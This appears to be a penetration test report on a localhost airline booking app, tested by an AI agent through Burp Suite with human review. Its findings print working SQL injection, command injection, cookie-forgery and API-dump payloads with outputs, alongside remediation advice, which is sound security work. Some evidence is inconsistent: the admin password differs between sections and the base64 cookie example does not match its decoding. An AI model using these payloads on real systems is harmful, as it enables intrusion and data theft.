

PENETRATION TEST REPORT

SkyHaven Airways — Web Application Assessment

Autonomous engagement: Claude + Burp Suite MCP

Target

http://localhost:8000

Method

Agentic AI + Burp Suite

Date

24 July 2026

Tester

Balaji Pedapolu

1. Executive Summary

An authorized, time-boxed penetration test was performed against the SkyHaven Airways booking platform using an **agentic workflow**: Claude planned and executed the assessment while driving Burp Suite through the Model Context Protocol (MCP). In a single guided run the engagement identified **13 vulnerabilities**, including **3 critical** issues that permit full server compromise and complete authentication bypass.

The most severe issues — OS command injection (RCE), SQL-injection authentication bypass, and UNION-based data exfiltration — would allow an unauthenticated attacker to take over the application server and exfiltrate all customer records, including plaintext passwords and payment-card numbers. Immediate remediation is recommended.

13

Total findings

3

Critical

5

High

5

OWASP cats

2. Findings Overview

#	FINDING	OWASP 2025	SEVERITY	CVSS
1	OS command injection → RCE (admin diagnostics)	A03 Injection	Critical	9.8
2	SQL injection auth bypass (login)	A03 / A07	Critical	9.4

3	UNION SQLi — full data exfiltration (flight search)	A03 Injection	Critical	9.1
4	Forgeable session cookie → privilege escalation	A07 / A02	High	8.8
5	IDOR — read any passenger's booking	A01 Access Control	High	7.7
6	Unauthenticated API leaks plaintext creds & cards	A01 / A02	High	8.2
7	Path traversal / LFI (boarding-pass download)	A01 / A05	High	7.5
8	SQLi in Manage-Booking PNR lookup	A03 / A07	High	7.3
9	Reflected XSS (flight search)	A03 Injection	Medium	6.1
10	Stored XSS (contact / reviews)	A03 Injection	Medium	6.4
11	Passwords stored in plaintext	A02 Crypto Failures	Medium	5.9
12	Verbose SQL errors / stack disclosure	A05 Misconfig	Low	4.3
13	Missing security headers & CSRF tokens	A05 Misconfig	Low	3.7

3. Detailed Findings (selected)

F-01 · OS Command Injection → RCE

Critical · CVSS 9.8

OWASP A03:2025 — Injection | Endpoint: POST /admin/diagnostics

The admin "network diagnostics" tool passes the host field into a shell command (`ping -c 2 <host>`) with `shell=True`. A metacharacter breaks out of the intended command and runs arbitrary OS commands as the application user.

```
POST /admin/diagnostics HTTP/1.1
Cookie: session=eyJ1aWQiOjUsInJvbGUiOiJhZG1pbiJ9 # forged admin (see F-04)
Content-Type: application/x-www-form-urlencoded

host=127.0.0.1; id
→ uid=501(app) gid=20 groups=20(staff) ... # arbitrary command executed
```

Remediation: never invoke a shell with user input. Use `subprocess.run(..., shell=False)` with an argument list, validate host against a strict IP/hostname allow-list, and drop the feature if not essential.

F-02 · SQL Injection — Authentication Bypass

Critical · CVSS 9.4

OWASP A03 / A07 | Endpoint: POST /login

Credentials are concatenated directly into the SQL query. Supplying an SQL comment terminates the password check and logs in as any user.

```
username=admin'--&password=anything  
→ HTTP/1.1 302 Found Location: /account (authenticated as admin)
```

Remediation: use parameterised queries / prepared statements, and hash+verify passwords with bcrypt or argon2.

F-03 · UNION SQL Injection — Data Exfiltration

Critical · CVSS 9.1

OWASP A03 | Endpoint: GET /flights?from=

The flight-search parameters are injectable. A UNION SELECT renders every user's credentials and card number directly into the results page.

```
from=zzz' UNION SELECT id,password,username,email,  
    '2026-08-01 09:00','2026-08-01 10:00',skymiles,0,credit_card  
FROM users--  
→ admin : Sh@dow-Admln-2026 | card 4485-1102-9931-7788 ...(all users)
```

Remediation: parameterise all queries; apply least-privilege DB accounts; never store card data in the app database.

F-04 · Forgeable Session → Privilege Escalation

High · CVSS 8.8

OWASP A07 / A02 | Component: session cookie

The session cookie is unsigned base64(JSON) that the client fully controls. Decoding it, setting "role":"admin" and re-encoding yields an admin session with no server-side validation.

```
echo 'eyJ1aWQiojUsInVzZXJuYW1lIjoiz3Vlc3QiLCJyb2xlIjoiyWRtaW4ifQ==' | base64 -  
→ {"uid":5,"username":"guest","role":"admin"} # now browse /admin
```

Remediation: use signed, server-side sessions (opaque random IDs mapped to server state); never trust role from the client.

F-06 · Unauthenticated User API

High · CVSS 8.2

OWASP A01 / A02 | Endpoint: GET /api/users

An unauthenticated JSON endpoint dumps every user record including plaintext passwords and full payment-card numbers.

```
curl http://localhost:8000/api/users
→ {"count":5,"users":[{"username":"admin","password":"Sh@dow-Adm1n-2026",
  "credit_card":"4485-1102-9931-7788", ...}]}
```

Remediation: require authentication + authorization on all APIs; never return secrets; hash passwords; tokenise card data (PCI-DSS).

4. Methodology

Testing followed an agentic loop driven in natural language and executed through the Burp Suite MCP integration: **(1) Recon** — endpoint/parameter enumeration from proxy history; **(2) Plan** — per-parameter vulnerability hypotheses ranked by likelihood/impact; **(3) Exploit** — payloads sent via Burp Repeater/Intruder; **(4) Verify** — response analysis, finding confirmation and chaining; **(5) Report** — evidence, CVSS and remediation. All activity was confined to the authorized target on localhost. A human reviewed and validated every finding.

5. Remediation Priorities

PRIORITY	ACTION	ADDRESSES
P1 — Now	Remove shell exec; parameterise all SQL	F-01, F-02, F-03, F-08
P2 — 7 days	Signed server-side sessions; authZ on APIs & objects; path-traversal guard	F-04, F-05, F-06, F-07
P3 — 30 days	Output encoding (XSS); hash passwords; security headers, CSRF, generic errors	F-09...F-13